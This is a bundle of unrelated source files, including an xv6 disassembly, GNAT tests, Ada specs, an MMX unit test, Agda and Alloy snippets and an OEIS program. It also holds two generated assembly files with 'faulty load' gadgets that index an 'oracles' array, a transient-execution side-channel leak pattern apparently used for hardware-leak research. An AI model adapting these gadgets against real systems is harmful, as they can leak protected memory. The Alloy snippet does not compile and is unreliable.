80106e74: c9 leave
pte = walkpgdir(pgdir, uva, 0);
if((*pte & PTE_P) == 0)
return 0;
if((*pte & PTE_U) == 0)
return 0;
return (char*)P2V(PTE_ADDR(*pte));
80106e75: 05 00 00 00 80 add $0x80000000,%eax
}
80106e7a: c3 ret
80106e7b: 90 nop
80106e7c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
pte = walkpgdir(pgdir, uva, 0);
if((*pte & PTE_P) == 0)
return 0;
if((*pte & PTE_U) == 0)
return 0;
80106e80: 31 c0 xor %eax,%eax
return (char*)P2V(PTE_ADDR(*pte));
}
80106e82: c9 leave
80106e83: c3 ret
80106e84: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80106e8a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80106e90 <copyout>:
// Copy len bytes from p to user address va in page table pgdir.
// Most useful when pgdir is not the current page table.
// uva2ka ensures this only works for PTE_U pages.
int
copyout(pde_t *pgdir, uint va, void *p, uint len)
{
80106e90: 55 push %ebp
80106e91: 89 e5 mov %esp,%ebp
80106e93: 57 push %edi
80106e94: 56 push %esi
80106e95: 53 push %ebx
80106e96: 83 ec 1c sub $0x1c,%esp
80106e99: 8b 5d 14 mov 0x14(%ebp),%ebx
80106e9c: 8b 55 0c mov 0xc(%ebp),%edx
80106e9f: 8b 7d 10 mov 0x10(%ebp),%edi
char *buf, *pa0;
uint n, va0;
buf = (char*)p;
while(len > 0){
80106ea2: 85 db test %ebx,%ebx
80106ea4: 75 40 jne 80106ee6 <copyout+0x56>
80106ea6: eb 70 jmp 80106f18 <copyout+0x88>
80106ea8: 90 nop
80106ea9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
va0 = (uint)PGROUNDDOWN(va);
pa0 = uva2ka(pgdir, (char*)va0);
if(pa0 == 0)
return -1;
n = PGSIZE - (va - va0);
80106eb0: 8b 55 e4 mov -0x1c(%ebp),%edx
80106eb3: 89 f1 mov %esi,%ecx
80106eb5: 29 d1 sub %edx,%ecx
80106eb7: 81 c1 00 10 00 00 add $0x1000,%ecx
80106ebd: 39 d9 cmp %ebx,%ecx
80106ebf: 0f 47 cb cmova %ebx,%ecx
if(n > len)
n = len;
memmove(pa0 + (va - va0), buf, n);
80106ec2: 29 f2 sub %esi,%edx
80106ec4: 83 ec 04 sub $0x4,%esp
80106ec7: 01 d0 add %edx,%eax
80106ec9: 51 push %ecx
80106eca: 57 push %edi
80106ecb: 50 push %eax
80106ecc: 89 4d e4 mov %ecx,-0x1c(%ebp)
80106ecf: e8 4c d6 ff ff call 80104520 <memmove>
len -= n;
buf += n;
80106ed4: 8b 4d e4 mov -0x1c(%ebp),%ecx
{
char *buf, *pa0;
uint n, va0;
buf = (char*)p;
while(len > 0){
80106ed7: 83 c4 10 add $0x10,%esp
if(n > len)
n = len;
memmove(pa0 + (va - va0), buf, n);
len -= n;
buf += n;
va = va0 + PGSIZE;
80106eda: 8d 96 00 10 00 00 lea 0x1000(%esi),%edx
n = PGSIZE - (va - va0);
if(n > len)
n = len;
memmove(pa0 + (va - va0), buf, n);
len -= n;
buf += n;
80106ee0: 01 cf add %ecx,%edi
{
char *buf, *pa0;
uint n, va0;
buf = (char*)p;
while(len > 0){
80106ee2: 29 cb sub %ecx,%ebx
80106ee4: 74 32 je 80106f18 <copyout+0x88>
va0 = (uint)PGROUNDDOWN(va);
80106ee6: 89 d6 mov %edx,%esi
pa0 = uva2ka(pgdir, (char*)va0);
80106ee8: 83 ec 08 sub $0x8,%esp
char *buf, *pa0;
uint n, va0;
buf = (char*)p;
while(len > 0){
va0 = (uint)PGROUNDDOWN(va);
80106eeb: 89 55 e4 mov %edx,-0x1c(%ebp)
80106eee: 81 e6 00 f0 ff ff and $0xfffff000,%esi
pa0 = uva2ka(pgdir, (char*)va0);
80106ef4: 56 push %esi
80106ef5: ff 75 08 pushl 0x8(%ebp)
80106ef8: e8 53 ff ff ff call 80106e50 <uva2ka>
if(pa0 == 0)
80106efd: 83 c4 10 add $0x10,%esp
80106f00: 85 c0 test %eax,%eax
80106f02: 75 ac jne 80106eb0 <copyout+0x20>
len -= n;
buf += n;
va = va0 + PGSIZE;
}
return 0;
}
80106f04: 8d 65 f4 lea -0xc(%ebp),%esp
buf = (char*)p;
while(len > 0){
va0 = (uint)PGROUNDDOWN(va);
pa0 = uva2ka(pgdir, (char*)va0);
if(pa0 == 0)
return -1;
80106f07: b8 ff ff ff ff mov $0xffffffff,%eax
len -= n;
buf += n;
va = va0 + PGSIZE;
}
return 0;
}
80106f0c: 5b pop %ebx
80106f0d: 5e pop %esi
80106f0e: 5f pop %edi
80106f0f: 5d pop %ebp
80106f10: c3 ret
80106f11: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80106f18: 8d 65 f4 lea -0xc(%ebp),%esp
memmove(pa0 + (va - va0), buf, n);
len -= n;
buf += n;
va = va0 + PGSIZE;
}
return 0;
80106f1b: 31 c0 xor %eax,%eax
}
80106f1d: 5b pop %ebx
80106f1e: 5e pop %esi
80106f1f: 5f pop %edi
80106f20: 5d pop %ebp
80106f21: c3 ret
|
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/pack22_pkg.adb
|
best08618/asylo
| 0 |
22295
|
package body Pack22_Pkg is
package body Bit_Map_Generic is
function "xor" (L, R : List) return List is
Temp : List;
for Temp'address use Temp_buffer'address;
begin
Temp.Bits := L.Bits xor R.Bits;
Temp.Counter.Counter := 0;
return Temp;
end;
end Bit_Map_Generic;
end Pack22_Pkg;
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1275.asm
|
ljhsiun2/medusa
| 9 |
96868
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r8
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x9a87, %rbx
nop
nop
nop
and %rbp, %rbp
mov $0x6162636465666768, %r10
movq %r10, %xmm1
vmovups %ymm1, (%rbx)
nop
nop
nop
nop
cmp %r8, %r8
lea addresses_normal_ht+0xe9ed, %rdi
nop
nop
nop
xor $49722, %rsi
mov $0x6162636465666768, %rcx
movq %rcx, (%rdi)
add %r10, %r10
lea addresses_D_ht+0x1d19d, %rbx
clflush (%rbx)
add $16019, %r10
movl $0x61626364, (%rbx)
nop
cmp $34268, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r8
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r8
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
// Store
lea addresses_A+0x38bd, %rbx
nop
nop
nop
xor $45635, %r13
mov $0x5152535455565758, %r8
movq %r8, %xmm4
movups %xmm4, (%rbx)
nop
nop
nop
nop
nop
and %r10, %r10
// Store
lea addresses_PSE+0x1259d, %rbx
nop
add $18986, %rsi
movl $0x51525354, (%rbx)
nop
add %rbp, %rbp
// REPMOV
lea addresses_US+0x1939d, %rsi
lea addresses_WC+0x1599d, %rdi
nop
add $51040, %r8
mov $15, %rcx
rep movsw
nop
add %r13, %r13
// Store
lea addresses_PSE+0x1fd9d, %rbp
clflush (%rbp)
nop
nop
add %r13, %r13
mov $0x5152535455565758, %rbx
movq %rbx, (%rbp)
nop
dec %rsi
// Store
lea addresses_A+0x7b8d, %r8
nop
nop
nop
nop
nop
xor $3676, %rdi
movw $0x5152, (%r8)
nop
nop
nop
cmp $29462, %r10
// Store
lea addresses_D+0x1194d, %rdi
clflush (%rdi)
nop
nop
nop
nop
xor $39334, %rbp
movb $0x51, (%rdi)
nop
nop
add %rcx, %rcx
// Faulty Load
lea addresses_normal+0x1d9d, %rbx
nop
nop
nop
nop
nop
cmp $57143, %rbp
mov (%rbx), %r13d
lea oracles, %rbx
and $0xff, %r13
shlq $12, %r13
mov (%rbx,%r13,1), %r13
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r8
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0, 'same': False, 'type': 'addresses_normal'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 5, 'same': False, 'type': 'addresses_A'}, 'OP': 'STOR'}
{'dst': {'NT': True, 'AVXalign': False, 'size': 4, 'congruent': 11, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'STOR'}
{'src': {'congruent': 9, 'same': False, 'type': 'addresses_US'}, 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_WC'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 3, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 4, 'same': False, 'type': 'addresses_A'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 4, 'same': False, 'type': 'addresses_D'}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': True, 'type': 'addresses_normal'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'}
{'dst': {'NT': True, 'AVXalign': False, 'size': 8, 'congruent': 3, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 9, 'same': True, 'type': 'addresses_D_ht'}, 'OP': 'STOR'}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
|
tools/scitools/conf/understand/ada/ada95/a-finali.ads
|
brucegua/moocos
| 1 |
13327
|
<gh_stars>1-10
------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- A D A . F I N A L I Z A T I O N --
-- --
-- S p e c --
-- --
-- $Revision: 2 $ --
-- --
-- Copyright (c) 1992,1993,1994 NYU, All Rights Reserved --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 2, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License --
-- for more details. You should have received a copy of the GNU General --
-- Public License distributed with GNAT; see file COPYING. If not, write --
-- to the Free Software Foundation, 675 Mass Ave, Cambridge, MA 02139, USA. --
-- --
------------------------------------------------------------------------------
with System.Finalization_Implementation;
package Ada.Finalization is
pragma Preelaborate (Finalization);
type Controlled is abstract tagged private;
procedure Initialize (Object : in out Controlled);
procedure Adjust (Object : in out Controlled);
procedure Finalize (Object : in out Controlled);
type Limited_Controlled is abstract tagged limited private;
procedure Initialize (Object : in out Limited_Controlled);
procedure Finalize (Object : in out Limited_Controlled);
private
type Controlled is abstract new
System.Finalization_Implementation.Root with null record;
type Limited_Controlled is abstract new
System.Finalization_Implementation.Root with null record;
end Ada.Finalization;
|
unittests/ASM/TwoByte/0F_F6.asm
|
cobalt2727/FEX
| 628 |
4555
|
%ifdef CONFIG
{
"RegData": {
"MM0": "0x0000000000000080",
"MM1": "0x0000000000000083",
"MM2": "0x0000000000000134",
"MM3": "0x0000000000000156",
"MM4": "0x0000000000000140",
"MM5": "0x000000000000013F",
"MM6": "0x000000000000008F",
"MM7": "0x00000000000000D1"
},
"MemoryRegions": {
"0x100000000": "4096"
}
}
%endif
mov rdx, 0xe0000000
mov rax, 0x4142434445464748
mov [rdx + 8 * 0], rax
mov rax, 0x5152535455565758
mov [rdx + 8 * 1], rax
mov rax, 0x912277A763B4EB8C
mov [rdx + 8 * 2], rax
mov rax, 0x589490D442F54AFD
mov [rdx + 8 * 3], rax
mov rax, 0xB5E43417A3F6706C
mov [rdx + 8 * 4], rax
mov rax, 0xB4F4B827515F5BFA
mov [rdx + 8 * 5], rax
mov rax, 0x52D0EF1BCB906B6A
mov [rdx + 8 * 6], rax
mov rax, 0x1D0FDF5D05D39C64
mov [rdx + 8 * 7], rax
mov rax, 0xAEFEDEA21EF08810
mov [rdx + 8 * 8], rax
mov rax, 0xF7D80319B125BDE5
movq mm0, [rdx + 8 * 1]
movq mm1, [rdx + 8 * 2]
movq mm2, [rdx + 8 * 3]
movq mm3, [rdx + 8 * 4]
movq mm4, [rdx + 8 * 5]
movq mm5, [rdx + 8 * 6]
movq mm6, [rdx + 8 * 7]
movq mm7, [rdx + 8 * 8]
psadbw mm0, [rdx + 8 * 0]
lea rdx, [rel .data]
movq mm1, [rdx + 8 * 0]
movq mm2, [rdx + 8 * 1]
movq mm3, [rdx + 8 * 2]
movq mm4, [rdx + 8 * 3]
movq mm5, [rdx + 8 * 4]
movq mm6, [rdx + 8 * 5]
movq mm7, [rdx + 8 * 6]
psadbw mm1, [rdx + 8 * 7]
psadbw mm2, [rdx + 8 * 8]
psadbw mm3, [rdx + 8 * 9]
psadbw mm4, [rdx + 8 * 10]
psadbw mm5, [rdx + 8 * 11]
psadbw mm6, [rdx + 8 * 12]
psadbw mm7, [rdx + 8 * 13]
hlt
.data:
; 128bytes of random numbers
db 'ba\xa7\x5e\xc8\x0f\x90\x25\xf1\xf8\x49\xbd\xab\x4d\x2b\xa1\xc4'
db 'e4\x69\xe3\x2a\x80\x8d\xd6\x0b\xb2\x6d\xea\xae\x2e\x23\xc2\x2c'
db 'f9\xc6\xee\x06\x53\x96\x00\xae\x8d\x06\xdc\xe1\x11\x06\x0c\x40'
db 'a5\x61\x83\x7c\x13\x25\x43\xea\xa7\x08\x52\xc4\x0f\x91\x2c\x2c'
db '5a\xe7\xcf\xf6\xe3\x6b\x9e\x9e\xd8\x85\xf7\xfd\x4a\x17\xb4\xc9'
db '16\x07\x13\x8c\x83\x89\xc3\x5e\x46\x63\x1a\x31\xb9\x2c\x72\x18'
db '23\xa2\xf0\x4d\x22\x2a\xe4\x86\x84\x1a\xae\xfc\x65\x49\x17\x8e'
db 'c8\xb0\xe3\x6c\xb3\xce\xa1\x2f\xce\x5f\xae\x06\xac\x28\x7d\xb5'
|
Transynther/x86/_processed/NONE/_ht_zr_/i7-7700_9_0x48.log_21829_2281.asm
|
ljhsiun2/medusa
| 9 |
25566
|
<reponame>ljhsiun2/medusa
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r14
push %r8
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x16f80, %rdx
dec %r8
mov (%rdx), %di
nop
nop
and %r8, %r8
lea addresses_UC_ht+0x7770, %r8
cmp %rax, %rax
and $0xffffffffffffffc0, %r8
movntdqa (%r8), %xmm3
vpextrq $0, %xmm3, %r14
nop
nop
nop
add $14634, %r8
lea addresses_normal_ht+0x1270, %r11
nop
nop
nop
and $36879, %r12
movups (%r11), %xmm5
vpextrq $0, %xmm5, %rdx
nop
nop
nop
nop
cmp %rdx, %rdx
lea addresses_normal_ht+0x16898, %r14
nop
nop
nop
add %r8, %r8
movw $0x6162, (%r14)
nop
sub $56102, %r14
lea addresses_normal_ht+0x14b38, %rsi
lea addresses_WT_ht+0xf878, %rdi
nop
nop
nop
nop
nop
add %r14, %r14
mov $18, %rcx
rep movsq
nop
nop
nop
nop
nop
inc %r8
lea addresses_D_ht+0xb0b8, %r8
sub %r12, %r12
movups (%r8), %xmm7
vpextrq $1, %xmm7, %r14
nop
nop
nop
add %r12, %r12
lea addresses_A_ht+0xc138, %r12
nop
nop
nop
nop
cmp $4598, %r14
mov (%r12), %r8
nop
nop
nop
nop
nop
cmp %r12, %r12
lea addresses_WT_ht+0x1c138, %rcx
nop
nop
nop
and %r12, %r12
movb $0x61, (%rcx)
nop
add $2158, %r8
lea addresses_D_ht+0x1ef38, %r12
nop
nop
nop
nop
xor %rdx, %rdx
mov (%r12), %r8w
nop
nop
nop
xor $52334, %r12
lea addresses_A_ht+0x2ea8, %rdi
nop
nop
cmp %r11, %r11
movb $0x61, (%rdi)
nop
nop
sub %rcx, %rcx
lea addresses_D_ht+0x2138, %rdi
nop
nop
nop
sub %rax, %rax
vmovups (%rdi), %ymm7
vextracti128 $1, %ymm7, %xmm7
vpextrq $1, %xmm7, %r12
cmp $58697, %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r8
pop %r14
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r14
push %r15
push %rax
push %rcx
// Faulty Load
lea addresses_WC+0x1b138, %r14
nop
inc %r13
movups (%r14), %xmm4
vpextrq $1, %xmm4, %rax
lea oracles, %r13
and $0xff, %rax
shlq $12, %rax
mov (%r13,%rax,1), %rax
pop %rcx
pop %rax
pop %r15
pop %r14
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 3, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 3, 'size': 16, 'same': False, 'NT': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 2, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 4, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 6, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 11, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 8, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 8, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 4, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 11, 'size': 32, 'same': False, 'NT': False}}
{'47': 102, '46': 30, '44': 9321, '00': 12376}
44 44 00 00 44 00 44 44 00 44 00 00 44 00 44 00 00 44 00 00 44 44 44 00 44 00 00 44 44 44 00 00 00 00 44 00 44 44 44 00 00 00 44 00 44 00 00 00 00 00 44 00 44 00 00 44 00 00 44 00 44 00 00 44 00 44 00 44 44 00 00 00 00 44 00 44 00 00 44 00 00 44 00 00 00 00 44 00 00 00 44 44 44 00 00 00 44 00 00 00 44 44 44 44 00 44 44 44 00 00 44 00 44 00 00 44 00 44 00 44 44 00 44 44 00 00 00 00 44 00 00 00 00 47 00 44 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 46 00 44 00 44 44 00 44 44 44 44 44 00 44 00 00 44 00 00 44 00 44 44 00 44 00 00 00 00 44 00 00 00 00 44 00 44 00 00 00 00 44 44 00 44 00 44 44 44 44 00 00 00 44 44 00 00 00 00 44 44 00 44 00 00 00 00 44 00 44 00 00 44 00 44 00 00 44 00 00 00 00 44 44 44 44 44 44 00 00 44 00 44 00 00 44 00 44 00 00 44 00 00 44 00 00 44 00 44 00 00 44 00 44 00 00 44 00 44 00 00 44 00 00 44 00 44 00 44 00 00 44 00 00 00 00 44 44 44 00 44 00 00 44 00 00 00 00 44 00 44 44 00 00 00 44 00 00 44 00 44 00 44 44 00 00 44 00 44 44 00 00 00 00 44 00 00 00 00 44 00 00 00 00 00 00 44 44 00 46 00 44 00 00 00 00 00 44 00 00 00 00 44 00 00 00 00 44 00 44 00 00 44 44 00 00 00 44 44 44 44 00 44 00 44 00 00 44 44 00 44 44 44 00 00 00 00 00 44 44 44 44 00 00 00 44 44 44 00 00 00 00 00 44 00 00 00 00 44 00 00 00 44 44 00 00 44 00 44 44 44 44 00 44 00 00 44 44 44 00 47 00 00 44 00 00 00 00 44 00 44 00 00 44 44 44 00 00 00 00 44 00 00 44 00 00 46 44 44 00 00 00 00 44 00 00 00 00 44 44 00 00 00 00 44 44 44 44 00 44 00 44 00 00 00 44 00 44 00 00 44 00 00 44 00 44 00 00 44 00 44 00 44 00 00 44 00 44 44 00 00 44 44 00 44 00 00 44 00 00 44 44 00 44 00 44 47 44 44 00 44 44 44 00 00 00 00 44 44 44 44 00 00 00 00 44 00 00 47 44 00 00 44 00 00 00 00 44 00 00 44 00 44 00 00 44 00 44 44 00 44 00 44 00 00 00 00 44 44 44 44 44 00 44 00 00 00 00 44 00 00 44 00 44 44 44 00 00 00 00 44 44 00 00 00 44 44 00 44 00 00 00 00 44 00 44 44 00 44 00 44 44 44 44 44 44 00 00 44 00 44 00 44 44 44 44 00 44 00 00 00 00 00 00 44 44 00 44 44 00 44 00 44 00 44 44 00 00 00 44 44 44 00 44 00 00 44 00 00 44 00 44 00 00 44 00 00 00 00 00 00 44 00 00 44 00 00 00 44 00 00 44 44 00 44 00 44 00 47 00 00 44 00 44 00 00 44 00 00 44 00 00 44 00 00 44 44 44 00 00 00 44 00 44 00 00 00 44 00 44 00 00 44 44 44 00 00 44 00 44 44 00 44 00 44 00 44 00 00 00 00 00 44 00 44 44 44 00 00 00 00 00 44 00 44 44 00 44 44 44 44 00 00 44 44 44 00 00 44 00 00 00 00 44 00 44 00 00 44 00 44 00 00 44 00 00 44 00 44 00 00 44 00 44 00 00 00 00 44 00 44 00 44 44 00 44 00 00 44 00 00 44 00 44 00 00 44 44 00 44 00 00 00 00 44 00 00 44 00 44 00 00 44 44 44 00 44 00 00 00 44 00 00 00 00 44 00 44 00 44 44 00 44 00 00 44 00 44 44 00 44 00 00 44 00 44 44 00 44 00 00 00 00 00 00 00 44 44 00 00 00 44 00 44 44 00 00 44 44 00 00 44 00 44 44 00 44 00 00 00 00 44 44 00 44 00 00 44 00 44 00 44 00 00 44 00 00 44 00 44 44 44 00 00 00 44 00 44 44 00 00 00 00 44 00 00 44 00 44 00 00 44 46 44 00 00 00 00 44 44 44 00 00 44 00 44 44 00 44 00 00 00 00 00 00 00 44 44 44 00 44 44 00 44 00 00
*/
|
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/specs/noinline1.ads
|
best08618/asylo
| 7 |
5395
|
-- { dg-do compile }
package Noinline1 is
procedure Proc1;
pragma Inline (Proc1);
pragma No_Inline (Proc1); -- { dg-warning "both specified" }
procedure Proc2;
pragma No_Inline (Proc2);
pragma Inline (Proc2); -- { dg-warning "both specified" }
procedure Proc3;
pragma Inline_Always (Proc3);
pragma No_Inline (Proc3); -- { dg-error "mutually exclusive" }
procedure Proc4;
pragma No_Inline (Proc4);
pragma Inline_Always (Proc4); -- { dg-error "mutually exclusive" }
end Noinline1;
|
archive/agda-2/Oscar/Class/Reflexive.agda
|
m0davis/oscar
| 0 |
6122
|
module Oscar.Class.Reflexive where
open import Oscar.Level
open import Oscar.Property.IsReflexive
record Reflexive {π¬} (β : Set π¬) β : Set (π¬ β lsuc β) where
field
_β£_ : β β β β Set β
isReflexive : IsReflexive β _β£_
open IsReflexive isReflexive public
|
etude/etude19.als
|
nishio/learning_alloy
| 1 |
3272
|
sig X{
r1: X
r2: X
}
run {
all x: X | x != x.r
} for exactly 3 X
|
oeis/245/A245329.asm
|
neoneye/loda-programs
| 11 |
16708
|
<filename>oeis/245/A245329.asm
; A245329: a(n) = sum_{k=0..n}C(n,k)^3*(-8)^k with C(n,k) = n!/(k!(n-k)!).
; Submitted by <NAME>(w4)
; 1,-7,1,1001,-15359,30233,3126529,-61392247,259448833,11970181433,-287815672319,1854020654633,48800262650881,-1443188813338279,12410505050039041,198977188596692681,-7472188661349285887,80331498114096555641,766481648806881192961,-39247429496953820283799,508903924267766073922561,2507501233889715162828953,-206875224385405048493940479,3172428352650125207079978761,4322166145576133710632099841,-1085551601564361131248009066567,19511689806226539019846043232769,-30692370851515146775460850714967
mov $1,1
mov $2,$0
lpb $0
sub $0,1
mul $1,-8
mov $3,$2
bin $3,$0
pow $3,3
add $1,$3
lpe
mov $0,$1
|
oeis/025/A025558.asm
|
neoneye/loda-programs
| 11 |
24849
|
; A025558: ((n-1)/n)*LCM{1,2,...,n}.
; Submitted by <NAME>
; 1,4,9,48,50,360,735,2240,2268,25200,25410,332640,334620,336336,675675,11531520,11571560,220540320,221152932,221707200,222211080,5121436320,5131136010,25700298624,25741485000,77338861600,77445096300,2248776129600
add $0,1
mov $1,$0
seq $0,2944 ; a(n) = LCM(1,2,...,n) / n.
mul $1,$0
max $0,$1
|
source/textio/a-tiunio.ads
|
ytomino/drake
| 33 |
15375
|
<filename>source/textio/a-tiunio.ads
pragma License (Unrestricted);
-- with Ada.Strings.Unbounded;
with Ada.Strings.Unbounded_Strings;
with Ada.Text_IO.Generic_Unbounded_IO;
package Ada.Text_IO.Unbounded_IO is
new Generic_Unbounded_IO (
Strings.Unbounded_Strings,
Put => Put,
Put_Line => Put_Line,
Get_Line => Get_Line);
|
programs/oeis/084/A084247.asm
|
karttu/loda
| 1 |
